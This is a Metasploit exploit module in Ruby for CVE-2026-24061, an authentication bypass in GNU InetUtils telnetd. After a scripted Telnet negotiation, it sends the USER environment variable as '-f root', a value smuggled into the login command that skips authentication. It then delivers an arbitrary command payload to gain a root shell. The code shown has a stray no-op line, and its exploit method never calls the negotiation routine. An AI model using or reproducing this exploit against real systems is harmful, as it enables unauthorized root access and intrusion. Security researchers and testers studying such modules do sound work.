##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote

  Rank = GreatRanking

  include Msf::Exploit::Remote::Telnet
  include Msf::Exploit::Capture

  NEW_ENVIRON_IS = "\x00"
  NEW_ENVIRON_SEND = "\x01"
  NEW_ENVIRON_VAR = "\x00"
  NEW_ENVIRON_VALUE = "\x01"
  SPACE = "\x20"
  ZERO = "\x00"
  FF = "\xff"

  def initialize(info = {})
    super(
      update_info(
        info,
        'Name' => 'GNU Inetutils Telnet Authentication Bypass Exploit CVE-2026-24061',
        'Description' => %q{
          The telnetd service from GNU InetUtils is vulnerable to authentication-bypass, tracked as CVE-2026-24061, in
          versions up to version 2.7. During Telnet authentication the SB byte can be sent to indicate sub-negotiation which
          allows for the exchange of sub-option parameters after both parties have agreed to enable a specific functional option.
          Environment variables can be sent as sub-options and it's the USER environment variable which introduces the
          authentication bypass in this scenario. When the USER environment variable gets sent to the GNU inetutils telnetd
          service during authentication, the variable gets appended without proper sanitization to an execv call to the
          /usr/bin/login binary. The login binary has a -f flag which skips authentication for a specific user. So the exploit
          sets the `USER` environment variable to -f root and the telnetd service responds with a root shell.
        },
        'Author' => [
          'jheysel-r7', # Metasploit module
          'Kyu Neushwaistein' # aka Carlos Cortes Alvarez, discovery
        ],
        'References' => [
          ['CVE', '2026-24061'],
          ['URL', 'https://github.com/DeadlyHollows/CVE-2026-24061-setup'], # Target setup
          ['URL', 'https://www.safebreach.com/blog/safebreach-labs-root-cause-analysis-and-poc-exploit-for-cve-2026-24061/'],
          ['ATT&CK', Mitre::Attack::Technique::T1021_REMOTE_SERVICES]
        ],
        'DisclosureDate' => '2026-01-26', # Python PoC (TCP)
        'License' => MSF_LICENSE,
        'Platform' => %w[unix linux],
        'Arch' => ARCH_CMD,
        'Privileged' => true,
        'Targets' => [
          [ 'Automatic', {} ]
        ],
        'Notes' => {
          'Reliability' => [UNRELIABLE_SESSION], # Should always return a session on the first run but after that a session is not guaranteed - this behaviour is specific to version 1.9.4 of InetUtils running on Ubuntu 18.04
          'Stability' => [CRASH_SAFE],
          'SideEffects' => []
        }
      )
    )

    register_options([
      Opt::RPORT(23),
      OptString.new('USERNAME', [true, 'Username on device to bypass authentication as', 'root']),
      OptString.new('TERMINAL_TYPE', [true, 'Terminal type to set when authenticating', 'XTERM-256COLOR']),
      OptInt.new('TERMINAL_SPEED', [true, 'Terminal speed to set when authenticating', 38400])
    ])
  end

  def recv_telnet(fd, timeout)
    data = ''
    bytes_to_send = ''

    begin
      data = fd.get_once(-1, timeout)
      return nil if data.blank?

      data_string = telnet_bytes_to_names(data)
      vprint_status('Incoming Bytes: ' + data_string)

      if @client_sends == 0
        bytes_to_send =
          IAC + WILL + OPT_AUTHENTICATION +
          IAC + DO + OPT_SGA +
          IAC + WILL + OPT_TTYPE +
          IAC + WILL + OPT_NAWS +
          IAC + WILL + OPT_TSPEED +
          IAC + WILL + OPT_LFLOW +
          IAC + WILL + OPT_LINEMODE +
          IAC + WILL + OPT_NEW_ENVIRON +
          IAC + DO + OPT_STATUS
      elsif @client_sends == 1
        bytes_to_send =
          IAC + DO + OPT_AUTHENTICATION +
          IAC + DONT + OPT_ENCRYPT +
          IAC + WONT + OPT_XDISPLOC +
          IAC + WONT + OPT_OLD_ENVIRON
      elsif @client_sends == 2

        # For more info on Telnet Linemode Option please reference: https://www.rfc-editor.org/rfc/rfc1184.html
        # The following binary blob was copied from a wireshark dump of a working PoC which used the telnet binary
        linemode_slc =
          "\x03\x01\x03\x00\x03\x62\x03\x04\x02\x0f\x05\x02\x14\x07\x62" \
          "\x1c\x08\x02\x04\x09\x42\x1a\x0a\x02\x7f\x0b\x02\x15\x0c" \
          "\x02\x17\x0d\x02\x12\x0e\x02\x16\x0f\x02\x11\x10\x02" \
          "\x13\x11\x00" + FF + FF + "\x12\x00" + FF + FF

        bytes_to_send =
          IAC + SB + OPT_AUTHENTICATION +
          ZERO + ZERO + ZERO +
          IAC + SE +
          IAC + SB + OPT_NAWS +
          "\x00\x7e" + "\x00\x3d" +
          IAC + SE +
          IAC + SB + OPT_LINEMODE +
          linemode_slc +
          IAC + SE +
          IAC + DO + OPT_SGA +
          IAC + SB + OPT_LINEMODE +
          "\x01\x14" +
          IAC + SE
        IAC + SE
      elsif @client_sends == 3
        print_status('Sending authentication bypass...')
        bytes_to_send =
          IAC + SB + OPT_TSPEED +
          NEW_ENVIRON_IS +
          "#{datastore['TERMINAL_SPEED']},#{datastore['TERMINAL_SPEED']}" +
          IAC + SE +
          IAC + SB + OPT_NEW_ENVIRON +
          NEW_ENVIRON_IS +
          NEW_ENVIRON_VAR + 'USER' +
          NEW_ENVIRON_SEND + '-f' + SPACE + datastore['USERNAME'] + # this is the auth bypass, sending '-f root' as the NEW_ENVIRON_VAR "USER"
          IAC + SE +
          IAC + SB + OPT_TTYPE +
          NEW_ENVIRON_IS +
          datastore['TERMINAL_TYPE'] +
          IAC + SE
      elsif @client_sends == 4
        bytes_to_send = IAC + WONT + OPT_ECHO
      elsif @client_sends == 5
        bytes_to_send = IAC + DO + OPT_ECHO +
                        IAC + WILL + OPT_BINARY +
                        IAC + WONT + OPT_LINEMODE
      elsif @client_sends == 6
        print_status('Sending payload...')
        bytes_to_send = payload.encoded + "\x0d\x0a"
      end

      if datastore['VERBOSE']
        if @client_sends == 6
          vprint_status('Outgoing Bytes:   ' + bytes_to_send)
        else
          vprint_status('Outgoing Bytes:   ' + telnet_bytes_to_names(bytes_to_send))
        end
      end

      fd.write(bytes_to_send) unless bytes_to_send.empty?

      @trace << data
      @recvd << data
      fd.flush
      @client_sends += 1
    rescue ::EOFError, ::Errno::EPIPE => e
      fail_with(Failure::UnexpectedReply, "Sending data failed with error: #{e}")
    end

    data
  end

  def exploit
    @client_sends = 0
    print_status('Connecting to telnet service... ')
    connect
  rescue ::Rex::ConnectionError => e
    print_error("Connection failed: #{e.message}")
  ensure
    disconnect
  end
end